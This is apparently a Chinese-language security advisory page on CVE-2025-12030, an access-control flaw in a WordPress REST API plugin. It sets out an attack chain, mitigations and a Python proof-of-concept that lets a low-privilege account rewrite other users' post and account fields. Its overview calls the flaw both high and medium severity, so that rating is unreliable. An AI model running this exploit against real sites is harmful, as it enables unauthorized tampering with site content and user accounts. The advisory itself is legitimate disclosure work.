IPBUF安全漏洞报告
English
CVE-2025-12030 CVSS 4.3 中危

CVE-2025-12030 WordPress ACF to REST API插件IDOR漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-12030
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ACF to REST API plugin for WordPress

相关标签

IDORWordPress插件漏洞ACF to REST API访问控制绕过权限验证缺陷REST API安全WordPress安全

漏洞概述

CVE-2025-12030是WordPress插件ACF to REST API中的一个高危安全漏洞。该插件用于将Advanced Custom Fields (ACF)字段数据暴露到WordPress REST API中。漏洞存在于插件的权限验证机制中,具体为update_item_permissions_check()方法存在严重的访问控制缺陷。攻击者可以利用此漏洞绕过正常的权限检查,以低权限用户身份(如Contributor角色)修改任意文章的自定义字段数据、用户账户信息、评论内容、分类术语,甚至修改站点的全局选项设置。此漏洞影响该插件3.3.4及之前的所有版本,CVSS评分4.3,属于中等严重程度。由于WordPress REST API默认开放且攻击者只需具备基本认证即可发起攻击,因此该漏洞在实际环境中容易被利用。建议所有使用该插件的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的核心问题在于ACF to REST API插件的update_item_permissions_check()方法仅检查用户是否具备edit_posts能力,而没有验证用户对特定对象的操作权限。在WordPress的权限模型中,修改他人文章应该需要edit_others_posts能力,修改用户资料需要edit_user能力,修改评论需要edit_comment能力。然而,该插件在处理/wp-json/acf/v3/{type}/{id}端点的更新请求时,仅验证了edit_posts这一通用能力,导致任何具有Contributor角色及以上的认证用户都可以修改任意对象。攻击者可以通过REST API端点直接发送PATCH或PUT请求,指定任意对象ID(如其他用户的文章ID、用户ID、评论ID等),并提交ACF字段数据。插件会将这些请求直接传递给WordPress的update_post_meta、update_user_meta等函数,而绕过了WordPress原生的权限检查机制。漏洞代码位于class-acf-to-rest-api-controller.php文件的第108行和第120行附近。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress站点注册一个具有Contributor角色的账户
STEP 2
步骤2
攻击者通过/wp-json/jwt-auth/v1/token获取JWT认证令牌
STEP 3
步骤3
攻击者向/wp-json/acf/v3/posts/{victim_post_id}端点发送PATCH/POST请求
STEP 4
步骤4
插件的update_item_permissions_check()仅检查edit_posts能力,不验证对象所有权
STEP 5
步骤5
恶意ACF字段数据通过update_post_meta()写入受害者文章
STEP 6
步骤6
攻击者可通过类似方式修改用户账户、评论、分类术语或全局选项

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12030 PoC - ACF to REST API IDOR Vulnerability # Target: WordPress site with ACF to REST API plugin <= 3.3.4 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_contributor" # Attacker account with Contributor role PASSWORD = "attacker_password" def get_auth_token(): """Get WordPress REST API authentication token""" auth_url = f"{TARGET_URL}/wp-json/jwt-auth/v1/token" data = { "username": USERNAME, "password": PASSWORD } response = requests.post(auth_url, json=data) if response.status_code == 200: return response.json().get('token') return None def exploit_idor(): """Exploit IDOR vulnerability to modify arbitrary posts""" token = get_auth_token() if not token: print("[-] Authentication failed") return headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Target a post owned by another user (IDOR) target_post_id = 999 # Target post ID to modify exploit_url = f"{TARGET_URL}/wp-json/acf/v3/posts/{target_post_id}" # Malicious ACF field data payload = { "fields": { "malicious_field": "injected_value" } } print(f"[*] Exploiting IDOR on post ID: {target_post_id}") response = requests.post(exploit_url, headers=headers, json=payload) if response.status_code in [200, 201]: print("[+] Successfully modified ACF fields on target post!") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") def modify_user_acf(target_user_id): """Modify ACF fields on arbitrary user accounts""" token = get_auth_token() headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } exploit_url = f"{TARGET_URL}/wp-json/acf/v3/users/{target_user_id}" payload = {"fields": {"admin_note": "compromised"}} print(f"[*] Attempting to modify user ID: {target_user_id}") response = requests.post(exploit_url, headers=headers, json=payload) print(f"[*] Status: {response.status_code}") if __name__ == "__main__": exploit_idor() # Modify target user (e.g., admin user ID 1) modify_user_acf(1)

影响范围

ACF to REST API plugin <= 3.3.4

防御指南

临时缓解措施
立即采取以下临时缓解措施:1) 临时禁用ACF to REST API插件;2) 使用WAF防火墙规则阻止对/wp-json/acf/v3/端点的非管理员访问;3) 限制REST API默认注册;4) 部署双因素认证;5) 监控日志中的异常API访问模式。在无法立即升级的情况下,建议通过.htaccess或nginx配置限制对acf/v3端点的访问,仅允许管理员IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表